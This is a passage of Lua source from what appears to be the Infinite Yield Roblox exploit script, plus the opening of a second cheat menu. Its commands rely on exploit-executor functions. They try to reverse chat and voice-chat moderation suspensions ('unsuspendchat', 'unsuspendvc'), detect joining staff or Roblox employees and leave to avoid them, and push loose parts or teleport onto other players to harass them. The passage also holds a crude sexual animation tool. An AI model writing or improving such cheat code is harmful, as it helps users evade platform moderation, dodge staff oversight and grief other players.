addcmd('stareat',{'stare'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if stareLoop then
stareLoop:Disconnect()
end
if not Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and Players[v].Character:FindFirstChild("HumanoidRootPart") then return end
local function stareFunc()
if Players.LocalPlayer.Character.PrimaryPart and Players:FindFirstChild(v) and Players[v].Character ~= nil and Players[v].Character:FindFirstChild("HumanoidRootPart") then
local chrPos=Players.LocalPlayer.Character.PrimaryPart.Position
local tPos=Players[v].Character:FindFirstChild("HumanoidRootPart").Position
local modTPos=Vector3.new(tPos.X,chrPos.Y,tPos.Z)
local newCF=CFrame.new(chrPos,modTPos)
Players.LocalPlayer.Character:SetPrimaryPartCFrame(newCF)
elseif not Players:FindFirstChild(v) then
stareLoop:Disconnect()
end
end
stareLoop = RunService.RenderStepped:Connect(stareFunc)
end
end)
addcmd('unstareat',{'unstare','nostare','nostareat'},function(args, speaker)
if stareLoop then
stareLoop:Disconnect()
end
end)
RolewatchData = {Group = 0, Role = "", Leave = false}
RolewatchConnection = Players.PlayerAdded:Connect(function(player)
if RolewatchData.Group == 0 then return end
if player:IsInGroup(RolewatchData.Group) then
if tostring(player:GetRoleInGroup(RolewatchData.Group)):lower() == RolewatchData.Role:lower() then
if RolewatchData.Leave == true then
Players.LocalPlayer:Kick("\n\nRolewatch\nPlayer \"" .. tostring(player.Name) .. "\" has joined with the Role \"" .. RolewatchData.Role .. "\"\n")
else
notify("Rolewatch", "Player \"" .. tostring(player.Name) .. "\" has joined with the Role \"" .. RolewatchData.Role .. "\"")
end
end
end
end)
addcmd("rolewatch", {}, function(args, speaker)
local groupId = tonumber(args[1] or 0)
local roleName = args[2] and tostring(getstring(2))
if groupId and roleName then
RolewatchData.Group = groupId
RolewatchData.Role = roleName
notify("Rolewatch", "Watching Group ID \"" .. tostring(groupId) .. "\" for Role \"" .. roleName .. "\"")
end
end)
addcmd("rolewatchstop", {}, function(args, speaker)
RolewatchData.Group = 0
RolewatchData.Role = ""
RolewatchData.Leave = false
notify("Rolewatch", "Disabled")
end)
addcmd("rolewatchleave", {"unrolewatch"}, function(args, speaker)
RolewatchData.Leave = not RolewatchData.Leave
notify("Rolewatch", RolewatchData.Leave and "Leave has been Enabled" or "Leave has been Disabled")
end)
staffRoles = {"mod", "admin", "staff", "dev", "founder", "owner", "supervis", "manager", "management", "executive", "president", "chairman", "chairwoman", "chairperson", "director"}
getStaffRole = function(player)
local playerRole = player:GetRoleInGroup(game.CreatorId)
local result = {Role = playerRole, Staff = false}
if player:IsInGroup(1200769) then
result.Role = "Roblox Employee"
result.Staff = true
end
for _, role in pairs(staffRoles) do
if string.find(string.lower(playerRole), role) then
result.Staff = true
end
end
return result
end
addcmd("staffwatch", {}, function(args, speaker)
if staffwatchjoin then
staffwatchjoin:Disconnect()
end
if game.CreatorType == Enum.CreatorType.Group then
local found = {}
staffwatchjoin = Players.PlayerAdded:Connect(function(player)
local result = getStaffRole(player)
if result.Staff then
notify("Staffwatch", formatUsername(player) .. " is a " .. result.Role)
end
end)
for _, player in pairs(Players:GetPlayers()) do
local result = getStaffRole(player)
if result.Staff then
table.insert(found, formatUsername(player) .. " is a " .. result.Role)
end
end
if #found > 0 then
notify("Staffwatch", table.concat(found, ",\n"))
else
notify("Staffwatch", "Enabled")
end
else
notify("Staffwatch", "Game is not owned by a Group")
end
end)
addcmd("unstaffwatch", {}, function(args, speaker)
if staffwatchjoin then
staffwatchjoin:Disconnect()
end
notify("Staffwatch", "Disabled")
end)
addcmd('removeterrain',{'rterrain','noterrain'},function(args, speaker)
workspace:FindFirstChildOfClass('Terrain'):Clear()
end)
addcmd('clearnilinstances',{'nonilinstances','cni'},function(args, speaker)
if getnilinstances then
for i,v in pairs(getnilinstances()) do
v:Destroy()
end
else
notify('Incompatible Exploit','Your exploit does not support this command (missing getnilinstances)')
end
end)
addcmd('destroyheight',{'dh'},function(args, speaker)
local dh = args[1] or -500
if isNumber(dh) then
workspace.FallenPartsDestroyHeight = dh
end
end)
OrgDestroyHeight = workspace.FallenPartsDestroyHeight
addcmd("antivoid", {}, function(args, speaker)
execCmd("unantivoid nonotify")
task.wait()
antivoidloop = RunService.Stepped:Connect(function()
local root = getRoot(speaker.Character)
if root and root.Position.Y <= OrgDestroyHeight + 25 then
root.Velocity = root.Velocity + Vector3.new(0, 250, 0)
end
end)
if args[1] ~= "nonotify" then notify("antivoid", "Enabled") end
end)
addcmd("unantivoid", {"noantivoid"}, function(args, speaker)
pcall(function() antivoidloop:Disconnect() end)
antivoidloop = nil
if args[1] ~= "nonotify" then notify("antivoid", "Disabled") end
end)
antivoidWasEnabled = false
addcmd("fakeout", {}, function(args, speaker)
local root = getRoot(speaker.Character)
local oldpos = root.CFrame
if antivoidloop then
execCmd("unantivoid nonotify")
antivoidWasEnabled = true
end
workspace.FallenPartsDestroyHeight = 0/1/0
root.CFrame = CFrame.new(Vector3.new(0, OrgDestroyHeight - 25, 0))
task.wait(1)
root.CFrame = oldpos
workspace.FallenPartsDestroyHeight = OrgDestroyHeight
if antivoidWasEnabled then
execCmd("antivoid nonotify")
antivoidWasEnabled = false
end
end)
addcmd("trip", {}, function(args, speaker)
local humanoid = speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid")
local root = speaker.Character and getRoot(speaker.Character)
if humanoid and root then
humanoid:ChangeState(Enum.HumanoidStateType.FallingDown)
root.Velocity = root.CFrame.LookVector * 30
end
end)
addcmd("removeads", {"adblock"}, function(args, speaker)
while wait() do
pcall(function()
for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("PackageLink") then
if v.Parent:FindFirstChild("ADpart") then
v.Parent:Destroy()
end
if v.Parent:FindFirstChild("AdGuiAdornee") then
v.Parent.Parent:Destroy()
end
end
end
end)
end
end)
addcmd("scare", {"spook"}, function(args, speaker)
local players = getPlayer(args[1], speaker)
local oldpos = nil
for _, v in pairs(players) do
local root = speaker.Character and getRoot(speaker.Character)
local target = Players[v]
local targetRoot = target and target.Character and getRoot(target.Character)
if root and targetRoot and target ~= speaker then
oldpos = root.CFrame
root.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2
root.CFrame = CFrame.new(root.Position, targetRoot.Position)
task.wait(0.5)
root.CFrame = oldpos
end
end
end)
addcmd("alignmentkeys", {}, function(args, speaker)
alignmentKeys = UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.Comma then workspace.CurrentCamera:PanUnits(-1) end
if input.KeyCode == Enum.KeyCode.Period then workspace.CurrentCamera:PanUnits(1) end
end)
alignmentKeysEmotes = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu)
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu, false)
end)
addcmd("unalignmentkeys", {"noalignmentkeys"}, function(args, speaker)
if type(alignmentKeysEmotes) == "boolean" then
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu, alignmentKeysEmotes)
end
alignmentKeys:Disconnect()
end)
addcmd("ctrllock", {}, function(args, speaker)
local mouseLockController = speaker.PlayerScripts:WaitForChild("PlayerModule"):WaitForChild("CameraModule"):WaitForChild("MouseLockController")
local boundKeys = mouseLockController:FindFirstChild("BoundKeys")
if boundKeys then
boundKeys.Value = "LeftControl"
else
boundKeys = Instance.new("StringValue")
boundKeys.Name = "BoundKeys"
boundKeys.Value = "LeftControl"
boundKeys.Parent = mouseLockController
end
end)
addcmd("unctrllock", {}, function(args, speaker)
local mouseLockController = speaker.PlayerScripts:WaitForChild("PlayerModule"):WaitForChild("CameraModule"):WaitForChild("MouseLockController")
local boundKeys = mouseLockController:FindFirstChild("BoundKeys")
if boundKeys then
boundKeys.Value = "LeftShift"
else
boundKeys = Instance.new("StringValue")
boundKeys.Name = "BoundKeys"
boundKeys.Value = "LeftShift"
boundKeys.Parent = mouseLockController
end
end)
addcmd("listento", {}, function(args, speaker)
execCmd("unlistento")
if not args[1] then return end
local player = Players:FindFirstChild(getPlayer(args[1], speaker)[1])
local root = player and player.Character and getRoot(player.Character)
if root then
SoundService:SetListener(Enum.ListenerType.ObjectPosition, root)
listentoChar = player.CharacterAdded:Connect(function()
repeat task.wait() until Players[player.Name].Character ~= nil and getRoot(Players[player.Name].Character)
SoundService:SetListener(Enum.ListenerType.ObjectPosition, getRoot(Players[player.Name].Character))
end)
end
end)
addcmd("unlistento", {}, function(args, speaker)
SoundService:SetListener(Enum.ListenerType.Camera)
listentoChar:Disconnect()
end)
addcmd("jerk", {}, function(args, speaker)
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
local backpack = speaker:FindFirstChildWhichIsA("Backpack")
if not humanoid or not backpack then return end
local tool = Instance.new("Tool")
tool.Name = "Jerk Off"
tool.ToolTip = "in the stripped club. straight up \"jorking it\" . and by \"it\" , haha, well. let's justr say. My peanits."
tool.RequiresHandle = false
tool.Parent = backpack
local jorkin = false
local track = nil
local function stopTomfoolery()
jorkin = false
if track then
track:Stop()
track = nil
end
end
tool.Equipped:Connect(function() jorkin = true end)
tool.Unequipped:Connect(stopTomfoolery)
humanoid.Died:Connect(stopTomfoolery)
while task.wait() do
if not jorkin then continue end
local isR15 = r15(speaker)
if not track then
local anim = Instance.new("Animation")
anim.AnimationId = not isR15 and "rbxassetid://72042024" or "rbxassetid://698251653"
track = humanoid:LoadAnimation(anim)
end
track:Play()
track:AdjustSpeed(isR15 and 0.7 or 0.65)
track.TimePosition = 0.6
task.wait(0.1)
while track and track.TimePosition < (not isR15 and 0.65 or 0.7) do task.wait(0.1) end
if track then
track:Stop()
track = nil
end
end
end)
addcmd("guiscale", {}, function(args, speaker)
if args[1] and isNumber(args[1]) then
local scale = tonumber(args[1])
if scale % 1 == 0 then scale = scale / 100 end
-- me when i divide and it explodes
if scale == 0.01 then scale = 1 end
if scale == 0.02 then scale = 2 end
if scale >= 0.4 and scale <= 2 then
guiScale = scale
end
else
guiScale = defaultGuiScale
end
Scale.Scale = math.max(Holder.AbsoluteSize.X / 1920, guiScale)
updatesaves()
end)
addcmd("unsuspendchat", {}, function(args, speaker)
if replicatesignal then
replicatesignal(TextChatService.UpdateChatTimeout, speaker.UserId, 0, 10)
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)")
end
end)
addcmd("unsuspendvc", {}, function(args, speaker)
if replicatesignal then
replicatesignal(VoiceChatService.ClientRetryJoin)
if typeof(onVoiceModerated) ~= "RBXScriptConnection" then
onVoiceModerated = cloneref(game:GetService("VoiceChatInternal")).LocalPlayerModerated:Connect(function()
task.wait(1)
replicatesignal(VoiceChatService.ClientRetryJoin)
end)
end
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)")
end
end)
addcmd("permadeath", {}, function(args, speaker)
if replicatesignal then
permadeath(speaker)
notify("Permadeath", "Enabled")
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)")
end
end)
local freezingua = nil
frozenParts = {}
addcmd('freezeunanchored',{'freezeua'},function(args, speaker)
local badnames = {
"Head",
"UpperTorso",
"LowerTorso",
"RightUpperArm",
"LeftUpperArm",
"RightLowerArm",
"LeftLowerArm",
"RightHand",
"LeftHand",
"RightUpperLeg",
"LeftUpperLeg",
"RightLowerLeg",
"LeftLowerLeg",
"RightFoot",
"LeftFoot",
"Torso",
"Right Arm",
"Left Arm",
"Right Leg",
"Left Leg",
"HumanoidRootPart"
}
local function FREEZENOOB(v)
if v:IsA("BasePart" or "UnionOperation") and v.Anchored == false then
local BADD = false
for i = 1,#badnames do
if v.Name == badnames[i] then
BADD = true
end
end
if speaker.Character and v:IsDescendantOf(speaker.Character) then
BADD = true
end
if BADD == false then
for i,c in pairs(v:GetChildren()) do
if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
c:Destroy()
end
end
local bodypos = Instance.new("BodyPosition")
bodypos.Parent = v
bodypos.Position = v.Position
bodypos.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
local bodygyro = Instance.new("BodyGyro")
bodygyro.Parent = v
bodygyro.CFrame = v.CFrame
bodygyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
if not table.find(frozenParts,v) then
table.insert(frozenParts,v)
end
end
end
end
for i,v in pairs(workspace:GetDescendants()) do
FREEZENOOB(v)
end
freezingua = workspace.DescendantAdded:Connect(FREEZENOOB)
end)
addcmd('thawunanchored',{'thawua','unfreezeunanchored','unfreezeua'},function(args, speaker)
if freezingua then
freezingua:Disconnect()
end
for i,v in pairs(frozenParts) do
for i,c in pairs(v:GetChildren()) do
if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
c:Destroy()
end
end
end
frozenParts = {}
end)
addcmd('tpunanchored',{'tpua'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local Forces = {}
for _,part in pairs(workspace:GetDescendants()) do
if Players[v].Character:FindFirstChild('Head') and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(speaker.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then
for i,c in pairs(part:GetChildren()) do
if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
c:Destroy()
end
end
local ForceInstance = Instance.new("BodyPosition")
ForceInstance.Parent = part
ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
table.insert(Forces, ForceInstance)
if not table.find(frozenParts,part) then
table.insert(frozenParts,part)
end
end
end
for i,c in pairs(Forces) do
c.Position = Players[v].Character.Head.Position
end
end
end)
keycodeMap = {
["0"] = 0x30,
["1"] = 0x31,
["2"] = 0x32,
["3"] = 0x33,
["4"] = 0x34,
["5"] = 0x35,
["6"] = 0x36,
["7"] = 0x37,
["8"] = 0x38,
["9"] = 0x39,
["a"] = 0x41,
["b"] = 0x42,
["c"] = 0x43,
["d"] = 0x44,
["e"] = 0x45,
["f"] = 0x46,
["g"] = 0x47,
["h"] = 0x48,
["i"] = 0x49,
["j"] = 0x4A,
["k"] = 0x4B,
["l"] = 0x4C,
["m"] = 0x4D,
["n"] = 0x4E,
["o"] = 0x4F,
["p"] = 0x50,
["q"] = 0x51,
["r"] = 0x52,
["s"] = 0x53,
["t"] = 0x54,
["u"] = 0x55,
["v"] = 0x56,
["w"] = 0x57,
["x"] = 0x58,
["y"] = 0x59,
["z"] = 0x5A,
["enter"] = 0x0D,
["shift"] = 0x10,
["ctrl"] = 0x11,
["alt"] = 0x12,
["pause"] = 0x13,
["capslock"] = 0x14,
["spacebar"] = 0x20,
["space"] = 0x20,
["pageup"] = 0x21,
["pagedown"] = 0x22,
["end"] = 0x23,
["home"] = 0x24,
["left"] = 0x25,
["up"] = 0x26,
["right"] = 0x27,
["down"] = 0x28,
["insert"] = 0x2D,
["delete"] = 0x2E,
["f1"] = 0x70,
["f2"] = 0x71,
["f3"] = 0x72,
["f4"] = 0x73,
["f5"] = 0x74,
["f6"] = 0x75,
["f7"] = 0x76,
["f8"] = 0x77,
["f9"] = 0x78,
["f10"] = 0x79,
["f11"] = 0x7A,
["f12"] = 0x7B,
}
autoKeyPressing = false
cancelAutoKeyPress = nil
addcmd('autokeypress',{'keypress'},function(args, speaker)
if keypress and keyrelease and args[1] then
local code = keycodeMap[args[1]:lower()]
if not code then notify('Auto Key Press',"Invalid key") return end
execCmd('unautokeypress')
wait()
local clickDelay = 0.1
local releaseDelay = 0.1
if args[2] and isNumber(args[2]) then clickDelay = args[2] end
if args[3] and isNumber(args[3]) then releaseDelay = args[3] end
autoKeyPressing = true
cancelAutoKeyPress = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent)
if not gameProcessedEvent then
if (input.KeyCode == Enum.KeyCode.Backspace and UserInputService:IsKeyDown(Enum.KeyCode.Equals)) or (input.KeyCode == Enum.KeyCode.Equals and UserInputService:IsKeyDown(Enum.KeyCode.Backspace)) then
autoKeyPressing = false
cancelAutoKeyPress:Disconnect()
end
end
end)
notify('Auto Key Press',"Press [backspace] and [=] at the same time to stop")
repeat wait(clickDelay)
keypress(code)
wait(releaseDelay)
keyrelease(code)
until autoKeyPressing == false
if cancelAutoKeyPress then cancelAutoKeyPress:Disconnect() keyrelease(code) end
else
notify('Auto Key Press',"Your exploit doesn't have the ability to use auto key press")
end
end)
addcmd('unautokeypress',{'noautokeypress','unkeypress','nokeypress'},function(args, speaker)
autoKeyPressing = false
if cancelAutoKeyPress then cancelAutoKeyPress:Disconnect() end
end)
addcmd('addplugin',{'plugin'},function(args, speaker)
addPlugin(getstring(1))
end)
addcmd('removeplugin',{'deleteplugin'},function(args, speaker)
deletePlugin(getstring(1))
end)
addcmd('reloadplugin',{},function(args, speaker)
local pluginName = getstring(1)
deletePlugin(pluginName)
wait(1)
addPlugin(pluginName)
end)
addcmd("addallplugins", {"loadallplugins"}, function(args, speaker)
if not listfiles or not isfolder then
notify("Incompatible Exploit", "Your exploit does not support this command (missing listfiles/isfolder)")
return
end
for _, filePath in ipairs(listfiles("")) do
local fileName = filePath:match("([^/\\]+%.iy)$")
if fileName and
fileName:lower() ~= "iy_fe.iy" and
not isfolder(fileName) and
not table.find(PluginsTable, fileName)
then
addPlugin(fileName)
end
end
end)
addcmd('removecmd',{'deletecmd'},function(args, speaker)
removecmd(args[1])
end)
if IsOnMobile then
local QuickCapture = Instance.new("TextButton")
local UICorner = Instance.new("UICorner")
QuickCapture.Name = randomString()
QuickCapture.Parent = PARENT
QuickCapture.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
QuickCapture.BackgroundTransparency = 0.14
QuickCapture.Position = UDim2.new(0.489, 0, 0, 0)
QuickCapture.Size = UDim2.new(0, 32, 0, 33)
QuickCapture.Font = Enum.Font.SourceSansBold
QuickCapture.Text = "IY"
QuickCapture.TextColor3 = Color3.fromRGB(255, 255, 255)
QuickCapture.TextSize = 20
QuickCapture.TextWrapped = true
QuickCapture.ZIndex = 10
QuickCapture.Draggable = true
UICorner.Name = randomString()
UICorner.CornerRadius = UDim.new(0.5, 0)
UICorner.Parent = QuickCapture
QuickCapture.MouseButton1Click:Connect(function()
Cmdbar:CaptureFocus()
maximizeHolder()
end)
table.insert(shade1, QuickCapture)
table.insert(text1, QuickCapture)
end
pcall(function() Scale.Scale = math.max(Holder.AbsoluteSize.X / 1920, guiScale) end)
Scale.Parent = ScaledHolder
ScaledHolder.Size = UDim2.fromScale(1 / Scale.Scale, 1 / Scale.Scale)
Scale:GetPropertyChangedSignal("Scale"):Connect(function()
ScaledHolder.Size = UDim2.fromScale(1 / Scale.Scale, 1 / Scale.Scale)
for _, v in ScaledHolder:GetDescendants() do
if v:IsA("GuiObject") and v.Visible then
v.Visible = false
v.Visible = true
end
end
end)
updateColors(currentShade1,shade1)
updateColors(currentShade2,shade2)
updateColors(currentShade3,shade3)
updateColors(currentText1,text1)
updateColors(currentText2,text2)
updateColors(currentScroll,scroll)
if PluginsTable ~= nil or PluginsTable ~= {} then
FindPlugins(PluginsTable)
end
-- Events
eventEditor.RegisterEvent("OnExecute")
eventEditor.RegisterEvent("OnSpawn",{
{Type="Player",Name="Player Filter ($1)"}
})
eventEditor.RegisterEvent("OnDied",{
{Type="Player",Name="Player Filter ($1)"}
})
eventEditor.RegisterEvent("OnDamage",{
{Type="Player",Name="Player Filter ($1)"},
{Type="Number",Name="Below Health ($2)"}
})
eventEditor.RegisterEvent("OnKilled",{
{Type="Player",Name="Victim Player ($1)"},
{Type="Player",Name="Killer Player ($2)",Default = 1}
})
eventEditor.RegisterEvent("OnJoin",{
{Type="Player",Name="Player Filter ($1)",Default = 1}
})
eventEditor.RegisterEvent("OnLeave",{
{Type="Player",Name="Player Filter ($1)",Default = 1}
})
eventEditor.RegisterEvent("OnChatted",{
{Type="Player",Name="Player Filter ($1)",Default = 1},
{Type="String",Name="Message Filter ($2)"}
})
function hookCharEvents(plr,instant)
task.spawn(function()
local char = plr.Character
if not char then return end
local humanoid = char:WaitForChild("Humanoid",10)
if not humanoid then return end
local oldHealth = humanoid.Health
humanoid.HealthChanged:Connect(function(health)
local change = math.abs(oldHealth - health)
if oldHealth > health then
eventEditor.FireEvent("OnDamage",plr.Name,tonumber(health))
end
oldHealth = health
end)
humanoid.Died:Connect(function()
eventEditor.FireEvent("OnDied",plr.Name)
local killedBy = humanoid:FindFirstChild("creator")
if killedBy and killedBy.Value and killedBy.Value.Parent then
eventEditor.FireEvent("OnKilled",plr.Name,killedBy.Name)
end
end)
end)
end
Players.PlayerAdded:Connect(function(plr)
eventEditor.FireEvent("OnJoin",plr.Name)
if isLegacyChat then plr.Chatted:Connect(function(msg) eventEditor.FireEvent("OnChatted",tostring(plr),msg) end) end
plr.CharacterAdded:Connect(function() eventEditor.FireEvent("OnSpawn",tostring(plr)) hookCharEvents(plr) end)
JoinLog(plr)
if isLegacyChat then ChatLog(plr) end
if ESPenabled then
repeat wait(1) until plr.Character and getRoot(plr.Character)
ESP(plr)
end
if CHMSenabled then
repeat wait(1) until plr.Character and getRoot(plr.Character)
CHMS(plr)
end
end)
if not isLegacyChat then
TextChatService.MessageReceived:Connect(function(message)
if message.TextSource then
local player = Players:GetPlayerByUserId(message.TextSource.UserId)
if not player then return end
if logsEnabled == true then
CreateLabel(player.Name, message.Text)
end
if player.UserId == Players.LocalPlayer.UserId then
do_exec(message.Text, Players.LocalPlayer)
end
eventEditor.FireEvent("OnChatted", player.Name, message.Text)
sendChatWebhook(player, message.Text)
end
end)
end
for _,plr in pairs(Players:GetPlayers()) do
pcall(function()
plr.CharacterAdded:Connect(function() eventEditor.FireEvent("OnSpawn",tostring(plr)) hookCharEvents(plr) end)
hookCharEvents(plr)
end)
end
if spawnCmds and #spawnCmds > 0 then
for i,v in pairs(spawnCmds) do
eventEditor.AddCmd("OnSpawn",{v.COMMAND or "",{0},v.DELAY or 0})
end
updatesaves()
end
if loadedEventData then eventEditor.LoadData(loadedEventData) end
eventEditor.Refresh()
eventEditor.FireEvent("OnExecute")
if aliases and #aliases > 0 then
local cmdMap = {}
for i,v in pairs(cmds) do
cmdMap[v.NAME:lower()] = v
for _,alias in pairs(v.ALIAS) do
cmdMap[alias:lower()] = v
end
end
for i = 1, #aliases do
local cmd = string.lower(aliases[i].CMD)
local alias = string.lower(aliases[i].ALIAS)
if cmdMap[cmd] then
customAlias[alias] = cmdMap[cmd]
end
end
refreshaliases()
end
IYMouse.Move:Connect(checkTT)
CaptureService.CaptureBegan:Connect(function()
PARENT.Enabled = false
end)
CaptureService.CaptureEnded:Connect(function()
task.delay(0.1, function()
PARENT.Enabled = true
end)
end)
task.spawn(function()
local success, latestVersionInfo = pcall(function()
local versionJson = game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/version")
return HttpService:JSONDecode(versionJson)
end)
if success then
if currentVersion ~= latestVersionInfo.Version then
notify("Outdated", "Get the new version at infyiff.github.io")
end
if latestVersionInfo.Announcement and latestVersionInfo.Announcement ~= "" then
local AnnGUI = Instance.new("Frame")
local background = Instance.new("Frame")
local TextBox = Instance.new("TextLabel")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ExitImage = Instance.new("ImageLabel")
AnnGUI.Name = randomString()
AnnGUI.Parent = ScaledHolder
AnnGUI.Active = true
AnnGUI.BackgroundTransparency = 1
AnnGUI.Position = UDim2.new(0.5, -180, 0, -500)
AnnGUI.Size = UDim2.new(0, 360, 0, 20)
AnnGUI.ZIndex = 10
background.Name = "background"
background.Parent = AnnGUI
background.Active = true
background.BackgroundColor3 = currentShade1
background.BorderSizePixel = 0
background.Position = UDim2.new(0, 0, 0, 20)
background.Size = UDim2.new(0, 360, 0, 150)
background.ZIndex = 10
TextBox.Parent = background
TextBox.BackgroundTransparency = 1
TextBox.Position = UDim2.new(0, 5, 0, 5)
TextBox.Size = UDim2.new(0, 350, 0, 140)
TextBox.Font = Enum.Font.SourceSans
TextBox.TextSize = 18
TextBox.TextWrapped = true
TextBox.Text = latestVersionInfo.Announcement
TextBox.TextColor3 = currentText1
TextBox.TextXAlignment = Enum.TextXAlignment.Left
TextBox.TextYAlignment = Enum.TextYAlignment.Top
TextBox.ZIndex = 10
shadow.Name = "shadow"
shadow.Parent = AnnGUI
shadow.BackgroundColor3 = currentShade2
shadow.BorderSizePixel = 0
shadow.Size = UDim2.new(0, 360, 0, 20)
shadow.ZIndex = 10
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Size = UDim2.new(1, 0, 0.95, 0)
PopupText.ZIndex = 10
PopupText.Font = Enum.Font.SourceSans
PopupText.TextSize = 14
PopupText.Text = "Server Announcement"
PopupText.TextColor3 = currentText1
PopupText.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundTransparency = 1
Exit.Position = UDim2.new(1, -20, 0, 0)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.Text = ""
Exit.ZIndex = 10
ExitImage.Parent = Exit
ExitImage.BackgroundColor3 = Color3.new(1, 1, 1)
ExitImage.BackgroundTransparency = 1
ExitImage.Position = UDim2.new(0, 5, 0, 5)
ExitImage.Size = UDim2.new(0, 10, 0, 10)
ExitImage.Image = getcustomasset("infiniteyield/assets/close.png")
ExitImage.ZIndex = 10
wait(1)
AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, 150), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil)
wait(0.6)
AnnGUI:Destroy()
end)
end
end
end)
task.spawn(function()
wait()
Credits:TweenPosition(UDim2.new(0, 0, 0.9, 0), "Out", "Quart", 0.2)
Logo:TweenSizeAndPosition(UDim2.new(0, 175, 0, 175), UDim2.new(0, 37, 0, 45), "Out", "Quart", 0.3)
wait(1)
local OutInfo = TweenInfo.new(1.6809, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
TweenService:Create(Logo, OutInfo, {ImageTransparency = 1}):Play()
TweenService:Create(IntroBackground, OutInfo, {BackgroundTransparency = 1}):Play()
Credits:TweenPosition(UDim2.new(0, 0, 0.9, 30), "Out", "Quart", 0.2)
wait(0.2)
Logo:Destroy()
Credits:Destroy()
IntroBackground:Destroy()
minimizeHolder()
end)
end)
end;
task.spawn(C_a);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
script.Parent.MouseButton1Click:Connect(function()
--Services
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local PhysicsService = game:GetService("PhysicsService")
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Mouse = Player:GetMouse()
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local TweenService = game:GetService("TweenService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local MarketplaceService = game:GetService("MarketplaceService")
local StarterGui = game:GetService("StarterGui")
local Debris = game:GetService("Debris")
local Lighting = game:GetService("Lighting")
local SoundService = game:GetService("SoundService")
local player = Player
local PlaceId = game.PlaceId
local JobId = game.JobId
--settings
local infjump = false
local invisRunning = false
local noclipOn = false
local noclipConn
local hoverHeight
local bindFrame, bindConn, waitingBindFunction
local customBinds = {}
local infJumpEnabled = false
local infJumpConnection = nil
local espOn = false
local spinOn = false
local spinBAV, lockBP
local savedCFrame
local invisRunning = false
local InvisibleCharacter = nil
local OriginalCharacter = nil
local voidConn = nil
local flyingEnabled = false
local invisRunning = false
local flyBG, flyBV, flyConn
local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y)
local hit, pos = workspace:FindPartOnRay(ray, Character)
--GUI settings
local GUI_WIDTH = 400
local GUI_HEIGHT = 320
local TITLE_HEIGHT = 30
local NAV_HEIGHT = 30
local FOOTER_HEIGHT = 30
local GRID_PADDING = 4
local GRID_COLUMNS = 4
math.randomseed(os.time())
local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
local string_sub = string.sub
local math_random = math.random
local table_concat = table.concat
local character_set_amount = #character_set
local number_one = 1
local default_length = 10
local function generate_string(length)
local random_string = {}
for int = number_one, length or default_length do
local random_number = math_random(number_one, character_set_amount)
local character = string_sub(character_set, random_number, random_number)
random_string[#random_string + number_one] = character
end
return table_concat(random_string)
end
-- Function manager with descriptions
local FunctionManager = {
CategorizedFunctions = { All = {} },
Categories = { "All" },
CurrentCategoryIndex= 1,
Descriptions = {},
ISFE = {},
OnFunctionAdded = Instance.new("BindableEvent"),
}
function FunctionManager:register(name, callback, category, description, FE)
category = category or "General"
if not self.CategorizedFunctions[category] then
self.CategorizedFunctions[category] = {}
table.insert(self.Categories, category)
end
self.CategorizedFunctions[category][name] = callback
self.CategorizedFunctions.All[name] = callback
self.Descriptions[name] = description or ""
self.ISFE[name] = FE or "yes"
if description == "NOT FE" then
self.ISFE[name] = "no"
end
self.OnFunctionAdded:Fire(category, name, callback)
self.OnFunctionAdded:Fire("All", name, callback)
end
function FunctionManager:getCurrentCategory()
return self.Categories[self.CurrentCategoryIndex]
end
function FunctionManager:cycleCategory()
self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1
return self:getCurrentCategory()
end
